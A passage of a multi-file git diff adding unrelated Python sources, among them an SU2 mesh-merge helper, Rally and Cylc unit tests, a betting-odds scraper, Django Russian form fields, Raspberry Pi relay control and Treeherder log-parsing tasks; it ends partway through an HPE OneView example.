+# ---------------------------------------------------------------------- +# Merge Mesh +# ---------------------------------------------------------------------- + +def merge( config ): + """ info = SU2.run.merge(config) + + Merges mesh with: + SU2.run.SOL() (volume merging) + internal scripts (surface merging) + + Assumptions: + config.NUMBER_PART is set + Skip if config.NUMBER_PART > 1 + + Inputs: + config - an SU2 config + + Ouputs: + info - an empty SU2 State + + Executes in: + ./ + """ + + # local copy + konfig = copy.deepcopy(config) + + # check if needed + partitions = konfig['NUMBER_PART'] + if partitions <= 1: + return su2io.State() + + # special cases + special_cases = su2io.get_specialCases(konfig) + + # special cases + multizone_cases = su2io.get_multizone(konfig) + + # # MERGING # # + if 'FLUID_STRUCTURE_INTERACTION' in multizone_cases: + merge_multizone(konfig) + else: + if 'WRT_UNSTEADY' in special_cases: + merge_unsteady(konfig) + else: + merge_solution(konfig) + + # info out (empty) + info = su2io.State() + + return info + +#: merge + +def merge_unsteady( config, begintime=0, endtime=None ): + + if not endtime: + endtime = config.EXT_ITER + + # SU2_SOL handles unsteady volume merge + merge_solution( config ) + + return + +#: def merge_unsteady() + +def merge_solution( config ): + """ SU2.io.merge.merge_solution(config) + general volume surface merging with SU2_SOL + """ + + SU2_SOL( config ) + + return + +#: merge_solution( config ) + +def merge_multizone( config, begintime=0, endtime=None ): + + if not endtime: + endtime = config.TIME_ITER + + SU2_SOL_FSI( config ) + + return + +#: merge_solution( config ) diff --git a/pool/shard009/Python/0080919_ReadCSV.py b/pool/shard009/Python/0080919_ReadCSV.py new file mode 100644 index 0000000000000000000000000000000000000000..cdc6ce66f1f2d87836ac7300d8ba7b659b8badc0 --- /dev/null +++ b/pool/shard009/Python/0080919_ReadCSV.py @@ -0,0 +1,31 @@ +from flowio import Io +import numpy +import os + +class ReadCSV(Io): + """Expects an .out file containing tab-separated n*p data, + and a .txt containing column headers one per line""" + newMethods=('ReadCSV','Load CSV data file') + type = 'Read' + supported = "CSV files (*.out)|*.out|All files (*.*)|*.*" + + def ReadCSV(self, filename, sep=None): + """reads a csv file and populates data structures""" + # self.model.ready = False + + arr = numpy.loadtxt(filename, delimiter=sep) + headers = numpy.loadtxt(filename.replace('out', 'txt'), + dtype='string') + +# text = open(filename).readlines() +# headers = open(filename.replace('out', 'txt')).readlines() +# # headers = text[0].strip('\n').strip('\r').split(sep) +# arr = numpy.array([map(float, line.strip().split(sep)) for line in text[0:]]) + + # create a new group + basename = os.path.basename(filename) + base, ext = os.path.splitext(basename) + self.model.NewGroup(base) + + # create an hdf5 file + self.model.LoadData(headers, arr, 'Original data') diff --git a/pool/shard009/Python/0080923_demo_shipper.py b/pool/shard009/Python/0080923_demo_shipper.py new file mode 100644 index 0000000000000000000000000000000000000000..5da19a42fd406ca0ddce7830a9c9841cd199cccc --- /dev/null +++ b/pool/shard009/Python/0080923_demo_shipper.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python +# Author: Kelcey Jamison-Damage +# Python: 2.66 + +# OS: CentOS | Other +# Portable: True +# License: Apache 2.0 + +#-----------------------------------------------------------------------# +# Copyright [2015] [Kelcey Jamison-Damage] + +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at + +# http://www.apache.org/licenses/LICENSE-2.0 + +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +#-----------------------------------------------------------------------# +# Imports +#-----------------------------------------------------------------------# +from os import sys, path +sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) +from libs.socket_client import SocketClient +from libs.sherpa import Sherpa +from libs.data_types import * +from conf.nodes import nodes + +# Init Variables +#-----------------------------------------------------------------------# +params = { + 'key': 'testobj1', + 'value': 'testvalue1', + 'action': 'store' + } + +params2 = { + 'key': 'testobj2', + 'action': 'retrieve' + } + +# Main +#-----------------------------------------------------------------------# +if __name__ == '__main__': + # Instantiate Sherp and provide it with the node registry + sherpa = Sherpa(regions=nodes) + + # Create a shipment assign sherpa to it + shipment = Shipment(sherpa) + + # Add some parcels to the shipment + shipment.assign(Parcel(params)) + shipment.assign(Parcel(params2)) + + # instantiate the Pillar Box client + s = SocketClient() + + # Send the shipment and receive it's response + response = s.agent_query(shipment) + + # Unpack all the containers listed in the shipments manifest + for container in response.manifest: + # Unpacking a container removes all of it's parcels so it can be + # reused and is totally optional + for parcel in response.manifest[container].unpack(): + # Examine all the parcel contents + print parcel.get_contents() diff --git a/pool/shard009/Python/0080926_test_types.py b/pool/shard009/Python/0080926_test_types.py new file mode 100644 index 0000000000000000000000000000000000000000..cb2272534fbf72b1d49ed0f1c299378800df6cad --- /dev/null +++ b/pool/shard009/Python/0080926_test_types.py @@ -0,0 +1,159 @@ +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +"""Tests for custom sqlalchemy types""" + +import mock +import sqlalchemy as sa + +from rally.common.db.sqlalchemy import types +from tests.unit import test + + +class JsonEncodedTest(test.TestCase): + def test_impl(self): + self.assertEqual(sa.Text, types.JSONEncodedDict.impl) + self.assertEqual(sa.Text, types.JSONEncodedList.impl) + self.assertEqual(sa.Text, types.MutableJSONEncodedDict.impl) + self.assertEqual(sa.Text, types.MutableJSONEncodedList.impl) + + def test_process_bind_param(self): + t = types.JSONEncodedDict() + self.assertEqual("{\"a\": 1}", t.process_bind_param({"a": 1}, None)) + + def test_process_bind_param_none(self): + t = types.JSONEncodedDict() + self.assertIsNone(t.process_bind_param(None, None)) + + def test_process_result_value(self): + t = types.JSONEncodedDict() + self.assertEqual({"a": 1}, t.process_result_value("{\"a\": 1}", None)) + t = types.JSONEncodedList() + self.assertEqual([[2, 1], [1, 2]], t.process_result_value( + "[[2, 1], [1, 2]]", None)) + with mock.patch("json.loads") as mock_json_loads: + t.process_result_value("[[2, 1], [1, 2]]", None) + mock_json_loads.asser_called_once_with([(2, 1), (1, 2)]) + + def test_process_result_value_none(self): + t = types.JSONEncodedDict() + self.assertIsNone(t.process_result_value(None, None)) + t = types.JSONEncodedList() + self.assertIsNone(t.process_result_value(None, None)) + + +class MutableDictTest(test.TestCase): + def test_creation(self): + sample = {"a": 1, "b": 2} + d = types.MutableDict(sample) + self.assertEqual(sample, d) + + def test_coerce_dict(self): + sample = {"a": 1, "b": 2} + md = types.MutableDict.coerce("test", sample) + self.assertEqual(sample, md) + self.assertIsInstance(md, types.MutableDict) + + def test_coerce_mutable_dict(self): + sample = {"a": 1, "b": 2} + sample_md = types.MutableDict(sample) + md = types.MutableDict.coerce("test", sample_md) + self.assertEqual(sample, md) + self.assertIs(sample_md, md) + + def test_coerce_unsupported(self): + self.assertRaises(ValueError, types.MutableDict.coerce, "test", []) + + @mock.patch.object(types.MutableDict, "changed") + def test_changed_on_setitem(self, mock_mutable_dict_changed): + sample = {"a": 1, "b": 2} + d = types.MutableDict(sample) + d["b"] = 3 + self.assertEqual({"a": 1, "b": 3}, d) + self.assertEqual(1, mock_mutable_dict_changed.call_count) + + @mock.patch.object(types.MutableDict, "changed") + def test_changed_on_delitem(self, mock_mutable_dict_changed): + sample = {"a": 1, "b": 2} + d = types.MutableDict(sample) + del d["b"] + self.assertEqual({"a": 1}, d) + self.assertEqual(1, mock_mutable_dict_changed.call_count) + + +class MutableListTest(test.TestCase): + def test_creation(self): + sample = [1, 2, 3] + d = types.MutableList(sample) + self.assertEqual(sample, d) + + def test_coerce_list(self): + sample = [1, 2, 3] + md = types.MutableList.coerce("test", sample) + self.assertEqual(sample, md) + self.assertIsInstance(md, types.MutableList) + + def test_coerce_mutable_list(self): + sample = [1, 2, 3] + sample_md = types.MutableList(sample) + md = types.MutableList.coerce("test", sample_md) + self.assertEqual(sample, md) + self.assertIs(sample_md, md) + + def test_coerce_unsupported(self): + self.assertRaises(ValueError, types.MutableList.coerce, "test", {}) + + @mock.patch.object(types.MutableList, "changed") + def test_changed_on_append(self, mock_mutable_list_changed): + sample = [1, 2, 3] + lst = types.MutableList(sample) + lst.append(4) + self.assertEqual([1, 2, 3, 4], lst) + self.assertEqual(1, mock_mutable_list_changed.call_count) + + @mock.patch.object(types.MutableList, "changed") + def test_changed_on_setitem(self, mock_mutable_list_changed): + sample = [1, 2, 3] + lst = types.MutableList(sample) + lst[2] = 4 + self.assertEqual([1, 2, 4], lst) + self.assertEqual(1, mock_mutable_list_changed.call_count) + + @mock.patch.object(types.MutableList, "changed") + def test_changed_on_delitem(self, mock_mutable_list_changed): + sample = [1, 2, 3] + lst = types.MutableList(sample) + del lst[2] + self.assertEqual([1, 2], lst) + self.assertEqual(1, mock_mutable_list_changed.call_count) + + +class TimeStampTestCase(test.TestCase): + def test_process_bind_param(self): + self.assertIsNone(types.TimeStamp().process_bind_param( + None, dialect=None)) + + self.assertEqual( + 1498561749348996, + types.TimeStamp().process_bind_param(1498561749.348996, + dialect=None)) + + def test_process_result_value(self): + self.assertIsNone(types.TimeStamp().process_result_value( + None, dialect=None)) + + self.assertEqual( + 1498561749.348996, + types.TimeStamp().process_result_value(1498561749348996, + dialect=None)) diff --git a/pool/shard009/Python/0080927_dl.py b/pool/shard009/Python/0080927_dl.py new file mode 100644 index 0000000000000000000000000000000000000000..0b033569eff0aedcfabf2666bce05b9df5e6006f --- /dev/null +++ b/pool/shard009/Python/0080927_dl.py @@ -0,0 +1,49 @@ +import requests, csv, time +from bs4 import BeautifulSoup + +def download_group_odds(): + teams = [] + sites = [] + for group in (chr(ord('a') + x) for x in range(0,8)): + urltemplate = "http://www.oddschecker.com/football/world-cup/group-{}/to-qualify" + url = urltemplate.format(group) + print "getting %s" % url + r = requests.get(url, cookies={"odds_type":"decimal"}) + + soup = BeautifulSoup(r.text) + table = soup.find(attrs={"class":"eventTable"}) + sitesrow = table.find_all("tr", {"class": "eventTableHeader"}) + sitelinks = sitesrow[0].find_all(lambda t: t.has_attr("title")) + sites = [t["title"] for t in sitelinks] + + teamrows = table.find_all(attrs={"class": "eventTableRow"}) + for row in teamrows: + cols = [t.text for t in row.find_all("td")] + name = cols[1] + + if 'any other' in name.lower(): continue + + odds = [] + isanodd = lambda t: (t.name=="td" and t.has_attr("class") and + ('o' in t.attrs["class"] or + 'oi' in t.attrs["class"] or + 'oo' in t.attrs["class"])) + rawodds = [t.text for t in row.find_all(isanodd)] + for o in rawodds: + if not o or '-' in o: odds.append(None) + else: odds.append(float(o)) + assert len(odds) == len(sites), "{} {}".format(odds, sites) + teams.append([name, group] + odds) + + return teams, sites + + +if __name__=="__main__": + teams, sites = download_group_odds() + + t = str(time.time()).split(".")[0] + with file("raw/group_odds%s.csv" % t, 'w') as outfile: + w = csv.writer(outfile) + w.writerow(['name'] + sites) + for row in teams: + w.writerow(row) diff --git a/pool/shard009/Python/0080929_forms.py b/pool/shard009/Python/0080929_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..dd6c48d9d677820728cfbe26e75b74d20eade3bf --- /dev/null +++ b/pool/shard009/Python/0080929_forms.py @@ -0,0 +1,72 @@ +""" +Russian-specific forms helpers +""" +from __future__ import absolute_import, unicode_literals + +import re + +from django.forms.fields import RegexField, Select +from django.utils.translation import ugettext_lazy as _ + +from .ru_regions import RU_COUNTY_CHOICES, RU_REGIONS_CHOICES + + +phone_digits_re = re.compile(r'^(?:[78]-?)?(\d{3})[-\.]?(\d{3})[-\.]?(\d{4})$') + + +class RUCountySelect(Select): + """ + A Select widget that uses a list of Russian Counties as its choices. + """ + def __init__(self, attrs=None): + super(RUCountySelect, self).__init__(attrs, choices=RU_COUNTY_CHOICES) + + +class RURegionSelect(Select): + """ + A Select widget that uses a list of Russian Regions as its choices. + """ + def __init__(self, attrs=None): + super(RURegionSelect, self).__init__(attrs, choices=RU_REGIONS_CHOICES) + + +class RUPostalCodeField(RegexField): + """ + Russian Postal code field. + Format: XXXXXX, where X is any digit, and first digit is not zero. + """ + default_error_messages = { + 'invalid': _('Enter a postal code in the format XXXXXX.'), + } + + def __init__(self, max_length=None, min_length=None, *args, **kwargs): + super(RUPostalCodeField, self).__init__(r'^\d{6}$', + max_length, min_length, *args, **kwargs) + + +class RUPassportNumberField(RegexField): + """ + Russian internal passport number format: + XXXX XXXXXX where X - any digit. + """ + default_error_messages = { + 'invalid': _('Enter a passport number in the format XXXX XXXXXX.'), + } + + def __init__(self, max_length=None, min_length=None, *args, **kwargs): + super(RUPassportNumberField, self).__init__(r'^\d{4} \d{6}$', + max_length, min_length, *args, **kwargs) + + +class RUAlienPassportNumberField(RegexField): + """ + Russian alien's passport number format: + XX XXXXXXX where X - any digit. + """ + default_error_messages = { + 'invalid': _('Enter a passport number in the format XX XXXXXXX.'), + } + + def __init__(self, max_length=None, min_length=None, *args, **kwargs): + super(RUAlienPassportNumberField, self).__init__(r'^\d{2} \d{7}$', + max_length, min_length, *args, **kwargs) diff --git a/pool/shard009/Python/0080930_ure_split_empty.py b/pool/shard009/Python/0080930_ure_split_empty.py new file mode 100644 index 0000000000000000000000000000000000000000..ad6334ebae4eae082c1445af7768be2b1e3be978 --- /dev/null +++ b/pool/shard009/Python/0080930_ure_split_empty.py @@ -0,0 +1,24 @@ +# test splitting with pattern matches that can be empty +# +# CPython 3.5 issues a FutureWarning for these tests because their +# behaviour will change in a future version. MicroPython just stops +# splitting as soon as an empty match is found. + +try: + import ure as re +except ImportError: + import sys + print("SKIP") + sys.exit() + +r = re.compile(" *") +s = r.split("a b c foobar") +print(s) + +r = re.compile("x*") +s = r.split("foo") +print(s) + +r = re.compile("x*") +s = r.split("axbc") +print(s) diff --git a/pool/shard009/Python/0080941_test_task_outputs.py b/pool/shard009/Python/0080941_test_task_outputs.py new file mode 100644 index 0000000000000000000000000000000000000000..4f61e696fbc4ed0b9c310d23d24eb9aa70b01e0c --- /dev/null +++ b/pool/shard009/Python/0080941_test_task_outputs.py @@ -0,0 +1,42 @@ +# THIS FILE IS PART OF THE CYLC WORKFLOW ENGINE. +# Copyright (C) NIWA & British Crown (Met Office) & Contributors. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import random +import unittest + +from cylc.flow.task_outputs import TaskOutputs + + +class TestMessageSorting(unittest.TestCase): + + TEST_MESSAGES = [ + ['expired', 'expired', False], + ['submitted', 'submitted', False], + ['submit-failed', 'submit-failed', False], + ['started', 'started', False], + ['succeeded', 'succeeded', False], + ['failed', 'failed', False], + [None, None, False], + ['foo', 'bar', False], + ['foot', 'bart', False], + # NOTE: [None, 'bar', False] is unstable under Python2 + ] + + def test_sorting(self): + messages = list(self.TEST_MESSAGES) + for _ in range(5): + random.shuffle(messages) + output = sorted(messages, key=TaskOutputs.msg_sort_key) + self.assertEqual(output, self.TEST_MESSAGES, output) diff --git a/pool/shard009/Python/0080943_servicecommand.py b/pool/shard009/Python/0080943_servicecommand.py new file mode 100644 index 0000000000000000000000000000000000000000..48a8e88d6832aa159481155173aae0a04a615d65 --- /dev/null +++ b/pool/shard009/Python/0080943_servicecommand.py @@ -0,0 +1,133 @@ +# -*- coding: utf-8 -*- +""" +oflogger.models.bandwidth +~~~~~~~~~~~~~~~~~~~~~~~~~ +ネットワークコマンドのログ出力をPublishするモデルクラス +servicecommandテーブルを操作する + +:copyright: Copyright (c) 2015, National Institute of Information and Communications Technology.All rights reserved. +:license: GPL3, see LICENSE for more details. +""" +import re +import logging +import time +import datetime +import tablib +import simplejson as json +from sqlalchemy.orm.exc import NoResultFound +from sqlsoup import SQLSoup +from .meta import get_engine, get_session + +class ServiceCommand(object): + log = logging.getLogger('oflogger') + + def __init__(self): + """ Initialize. """ + engine = get_engine() + session = get_session() + self.db = SQLSoup(engine, session=session) + self.jug = None + + def set_publisher(self, client): + self.jug = client + + def create(self, items): + db = self.db + query = db.entity('servicecommand') + + def tm2dt(tm): + return datetime.datetime.fromtimestamp(int(tm)) + + def dt2tm(dt): + return time.mktime(dt.timetuple()) + + + def replace(data): + data = re.sub(r'^i,', 'RGT(', data) + data = re.sub(r'^s,', 'SRH(', data) + data = re.sub(r'^cm,', 'CP(', data) + + ret = '{0})'.format(data) + + return ret + + for item in items: + rows = [] + try: + rows = query.filter(query.service_name==item['service_key']) \ + .all() + + except NoResultFound: + pass + + ret = False + if len(rows) > 0: + commands = [ + { + 'service_name': data.service_name, + 'commands': data.commands, + 'command_created_at': int(dt2tm(data.command_created_at)) + } + for data in rows + ] + + new_commands = [ + { + 'service_name': item['service_key'], + 'command': data['command'], + 'timestamp': int(data['timestamp']) + } + for data in item['commands'] + ] + + item['commands'] = new_commands + + query.filter(query.service_name==item['service_key']) \ + .delete() + for cmd in item['commands']: + + query.insert(service_name=item['service_key'], + commands=cmd['command'], + command_created_at=tm2dt(cmd['timestamp'])) + + self.publish(cmd) + + db.commit() + + def publish(self, item): + item['commands'] = item['command'] + item['timestamp'] = datetime.datetime.fromtimestamp(item['timestamp']) \ + .strftime("%Y/%m/%d %H:%M:%S") + del item['command'] + + self.log.info('Publish command data {0}'.format(item['commands'])) + self.jug.publish('oflogger', {'messageType': 'commands', 'value': item}) + + + def is_diff(self, original_data, new_data): + """ + Diff DB data and new data. + + :param original_data: + :param new_data: + """ + headers = ['service_name', 'commands', 'command_created_at'] + ds1 = tablib.Dataset(headers=headers) + for d in original_data: + ds1.rpush([d['service_name'], d['commands'], d['command_created_at']]) + + ds2 = tablib.Dataset(headers=headers) + for d in new_data: + ds2.rpush([d['service_name'], d['commands'], d['timestamp']]) + + d1 = json.loads(ds1.json) + d2 = json.loads(ds2.json) + + d1.sort() + d2.sort() + + return d1 == d2 + + def execute(self, data): + self.log.debug('Receive servicecommand data {0}'.format(data)) + self.create(json.loads(data['data'])) diff --git a/pool/shard009/Python/0080945_create_pivot.py b/pool/shard009/Python/0080945_create_pivot.py new file mode 100644 index 0000000000000000000000000000000000000000..dabd5b952af45b171bf3b2efc06a5213d8076686 --- /dev/null +++ b/pool/shard009/Python/0080945_create_pivot.py @@ -0,0 +1,26 @@ +import pandas as pd + +df = pd.read_csv("Tbl_MP_FINAL_TREELIVE_SUMMARY.csv") + +print "computing pivot for TPA..." +dfpiv_tpa = df.pivot("COND_ID","VARNAME", "SumOfTPA") +dfpiv_tpa.columns = ["TPA_%s" % c for c in dfpiv_tpa.columns] + +print "computing pivot for BA..." +dfpiv_ba = df.pivot("COND_ID","VARNAME", "SumOfBA_FT2_AC") +dfpiv_ba.columns = ["BA_%s" % c for c in dfpiv_ba.columns] + +print "joining..." +dfpiv = pd.DataFrame.join(dfpiv_ba, dfpiv_tpa) +dfpiv.to_csv("dfpiv.tsv", sep="\t", header=False) +dfpiv.save("dfpiv.pickle") + +with open("dfpiv.schema.sql",'w') as sf: + sf.write("""DROP TABLE TREELIVE_CROSSTAB; +CREATE TABLE TREELIVE_CROSSTAB +( + COND_ID Int8, +%s +); + """ % ",\n".join([" \"%s\" Float8" % (col,) for col in dfpiv.columns]) ) + diff --git a/pool/shard009/Python/0080954_UnitType.DisplayUnitType.py b/pool/shard009/Python/0080954_UnitType.DisplayUnitType.py new file mode 100644 index 0000000000000000000000000000000000000000..6c36847ad575b22f4b490d2af53944932e5edb37 --- /dev/null +++ b/pool/shard009/Python/0080954_UnitType.DisplayUnitType.py @@ -0,0 +1,30 @@ +import clr +clr.AddReference('RevitAPI') +from Autodesk.Revit.DB import * + +clr.AddReference("RevitServices") +import RevitServices +from RevitServices.Persistence import DocumentManager + +dynunittype = IN[0] + +if str(dynunittype.GetType()) == "Autodesk.Revit.DB.UnitType": + unittype = dynunittype +elif str(dynunittype) == 'DynamoUnits.Area': + unittype = UnitType.UT_Area +elif str(dynunittype) == 'DynamoUnits.Length': + unittype = UnitType.UT_Length +elif str(dynunittype) == 'DynamoUnits.Volume': + unittype = UnitType.UT_Volume +else: + unittype = None + +doc = DocumentManager.Instance.CurrentDBDocument +formatoptions = doc.GetUnits().GetFormatOptions(unittype) +dispunits = formatoptions.DisplayUnits +symtype = formatoptions.UnitSymbol +if symtype == UnitSymbolType.UST_NONE: + dispsym = None +else: + dispsym = LabelUtils.GetLabelFor(symtype) +OUT = (dispunits,dispsym) \ No newline at end of file diff --git a/pool/shard009/Python/0080955_init__.py b/pool/shard009/Python/0080955_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..afcc6cfa1e619d8a0ce05f484dc473cc8b590907 --- /dev/null +++ b/pool/shard009/Python/0080955_init__.py @@ -0,0 +1,40 @@ +# -*- coding: utf-8 -*- +# This file is part of Shoop. +# +# Copyright (c) 2012-2016, Shoop Ltd. All rights reserved. +# +# This source code is licensed under the AGPLv3 license found in the +# LICENSE file in the root directory of this source tree. +from __future__ import unicode_literals + +from django.utils.translation import ugettext_lazy as _ + +from shoop.admin.base import AdminModule, MenuEntry +from shoop.admin.utils.urls import derive_model_url, get_edit_and_list_urls +from shoop.core.models import Manufacturer + + +class ManufacturerModule(AdminModule): + name = _("Manufacturers") + breadcrumbs_menu_entry = MenuEntry(name, url="shoop_admin:manufacturers.list") + + def get_urls(self): + return get_edit_and_list_urls( + url_prefix="^Manufacturers", + view_template="shoop.admin.modules.manufacturers.views.Manufacturer%sView", + name_template="manufacturers.%s" + ) + + def get_menu_entries(self, request): + category = _("Products") + return [ + MenuEntry( + text=_("Manufacturers"), + icon="fa fa-building", + url="shoop_admin:manufacturers.list", + category=category + ), + ] + + def get_model_url(self, object, kind): + return derive_model_url(Manufacturer, "shoop_admin:manufacturers", object, kind) diff --git a/pool/shard009/Python/0080956_PiSwitches.py b/pool/shard009/Python/0080956_PiSwitches.py new file mode 100644 index 0000000000000000000000000000000000000000..0df097c4de7b01666c65591dbaaac2f4c50867c7 --- /dev/null +++ b/pool/shard009/Python/0080956_PiSwitches.py @@ -0,0 +1,117 @@ +""" + PiSwitches + + This module abstracts the working of a 4 port Switch. +""" + +import time + +try: + # default operation is te import the real RPi.GPIO module + import RPi.GPIO as GPIO +except ImportError: + # if it doesn't exist (like in my development VM) use my stub instead + import StubGPIO as GPIO + + +DEFAULT_PINS=[2,3,4,17] + +class FourPortRelaySwitch(object): + """ + FourPortRelaySwitch + + This class represents the 4 port Reay Switch attached to the + Raspberry Pi. It can be used to setup and keep track of the 4 + RelaySwitch objects representing the indevidual switches on the + board. + """ + s1 = None + s2 = None + s3 = None + s4 = None + + def __init__(self, switch_pins=DEFAULT_PINS): + """ + __init__ + + takes a list of Pin numbers or uses a default set [2,3,4,17] + if a list is not provided. + """ + GPIO.setmode(GPIO.BCM) + self.s1 = RelaySwitch(switch_pins[0]) + self.s2 = RelaySwitch(switch_pins[1]) + self.s3 = RelaySwitch(switch_pins[2]) + self.s4 = RelaySwitch(switch_pins[3]) + + def cleanup(self): + """ + cleanup + + Should be called when the program shuts down. + """ + GPIO.cleanup() + +class RelaySwitch(object): + """ + RelaySwitch + + Represents an indevidual switch on the RelaySwitch board and gives + conveniantly named methods to turn the switches on and off. All + methods assume that you have connected the switchs so that they + are usually off. + """ + gpio_pin = None + + def __init__(self, gpio_pin): + """ + __init__ + + sets the GPIO pin up for oporation with the Relay Switch + """ + self.gpio_pin = gpio_pin + GPIO.setup(self.gpio_pin, GPIO.OUT) + self.off() + + def on(self): + """ + on + + turns the switch to the on position. (assumes "usually off" connection) + """ + GPIO.output(self.gpio_pin, GPIO.LOW) + + def off(self): + """ + off + + turns the switch to the off position. (assumes "usually off" connection) + """ + GPIO.output(self.gpio_pin, GPIO.HIGH) + + def onFor(self, seconds): + """ + onFor + + takes a number of decimal seconds and will turn the switch on + for that specified duration. In it's current implementation + it will block all other switch actions. (assumes "usually off" connection) + """ + try: + float(seconds) + self.on() + time.sleep(seconds) + self.off() + except ValueError: + pass + + + + +if __name__ == "__main__": + # quick test + FPR = FourPortRelaySwitch() + FPR.s1.onFor(1.5) + FPR.s1.on() + FPR.cleanup() + + diff --git a/pool/shard009/Python/0080961_tasks.py b/pool/shard009/Python/0080961_tasks.py new file mode 100644 index 0000000000000000000000000000000000000000..882d2816b5d217fa18672177d554cd4479b1c575 --- /dev/null +++ b/pool/shard009/Python/0080961_tasks.py @@ -0,0 +1,103 @@ +import logging + +import newrelic.agent +from django.conf import settings + +from treeherder.autoclassify.tasks import autoclassify +from treeherder.log_parser.crossreference import crossreference_job +from treeherder.log_parser.utils import post_log_artifacts +from treeherder.model.models import (Job, + JobLog) +from treeherder.workers.task import retryable_task + +from . import failureline + +logger = logging.getLogger(__name__) + + +def parser_task(f): + """Decorator that ensures that log parsing task has not already run, + and also adds New Relic annotations. + """ + def inner(job_log_id, priority): + newrelic.agent.add_custom_parameter("job_log_id", job_log_id) + job_log = JobLog.objects.select_related("job").get(id=job_log_id) + newrelic.agent.add_custom_parameter("job_log_name", job_log.name) + newrelic.agent.add_custom_parameter("job_log_url", job_log.url) + newrelic.agent.add_custom_parameter("job_log_status_prior", + job_log.get_status_display()) + if job_log.status == JobLog.PARSED: + logger.info("log already parsed") + return True + + return f(job_log, priority) + + inner.__name__ = f.__name__ + inner.__doc__ = f.__doc__ + + return inner + + +def parse_job_log(func_name, routing_key, job_log): + """ + Schedule the log-related tasks to parse an individual log + """ + task_funcs = { + "store_failure_lines": store_failure_lines, + "parse_log": parse_log, + } + + logger.debug("parse_job_log for job log %s (%s, %s)", + job_log.id, func_name, routing_key) + priority = routing_key.rsplit(".", 1)[1] + + signature = task_funcs[func_name].si(job_log.id, priority) + signature.set(routing_key=routing_key) + + signature.apply_async() + + +@retryable_task(name='log-parser', max_retries=10) +@parser_task +def parse_log(job_log, priority): + """ + Call ArtifactBuilderCollection on the given job. + """ + post_log_artifacts(job_log) + logger.debug("Scheduling crossreference for job %i from parse_log" % job_log.job.id) + crossreference_error_lines.apply_async( + args=[job_log.job.id, priority], + routing_key="crossreference_error_lines.%s" % priority) + + +@retryable_task(name='store-failure-lines', max_retries=10) +@parser_task +def store_failure_lines(job_log, priority): + """Store the failure lines from a log corresponding to the structured + errorsummary file.""" + logger.debug('Running store_failure_lines for job %s' % job_log.job.id) + failureline.store_failure_lines(job_log) + logger.debug("Scheduling crossreference for job %i from store_failure_lines" % job_log.job.id) + crossreference_error_lines.apply_async( + args=[job_log.job.id, priority], + routing_key="crossreference_error_lines.%s" % priority) + + +@retryable_task(name='crossreference-error-lines', max_retries=10) +def crossreference_error_lines(job_id, priority): + """Match structured (FailureLine) and unstructured (TextLogError) lines + for a job.""" + newrelic.agent.add_custom_parameter("job_id", job_id) + logger.debug("Running crossreference-error-lines for job %s" % job_id) + job = Job.objects.get(id=job_id) + has_lines = crossreference_job(job) + if has_lines and settings.AUTOCLASSIFY_JOBS: + logger.debug("Scheduling autoclassify for job %i" % job_id) + autoclassify.apply_async( + args=[job_id], + routing_key="autoclassify.%s" % priority) + elif not settings.AUTOCLASSIFY_JOBS: + job.autoclassify_status = Job.SKIPPED + job.save(update_fields=['autoclassify_status']) + else: + logger.debug("Job %i didn't have any crossreferenced lines, skipping autoclassify " % job_id) diff --git a/pool/shard009/Python/0080962_power_devices.py b/pool/shard009/Python/0080962_power_devices.py new file mode 100644 index 0000000000000000000000000000000000000000..f8494052695efd50f3e0caf09774d2b2d4811080 --- /dev/null +++ b/pool/shard009/Python/0080962_power_devices.py @@ -0,0 +1,119 @@ +# -*- coding: utf-8 -*- +### +# (C) Copyright (2012-2016) Hewlett Packard Enterprise Development LP +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +### + +from pprint import pprint + +from config_loader import try_load_from_file +from hpOneView.exceptions import HPOneViewException +from hpOneView.oneview_client import OneViewClient + +config = { + "ip": "", + "credentials": { + "userName": "", + "password": "" + } +} + +# Try load config from a file (if there is a config file) +config = try_load_from_file(config) + +oneview_client = OneViewClient(config) + +power_device_information = { + "name": "MyPdd", + "ratedCapacity": 40 +} + +power_device_information_ipdu = { + "hostname": config['power_device_hostname'], + "username": config['power_device_username'], + "password": config['power_device_password'], +} + +# Add a Power Device +power_device_added = oneview_client.power_devices.add(power_device_information) +print('Added Power Device {name} successfully'.format(**power_device_added)) + +# Add and Discover an iPDU +ipdu = oneview_client.power_devices.add_ipdu(power_device_information_ipdu) +print('Added iPDU {name} successfully'.format(**ipdu)) + +# Retrieve Power Device by URI +power_device = 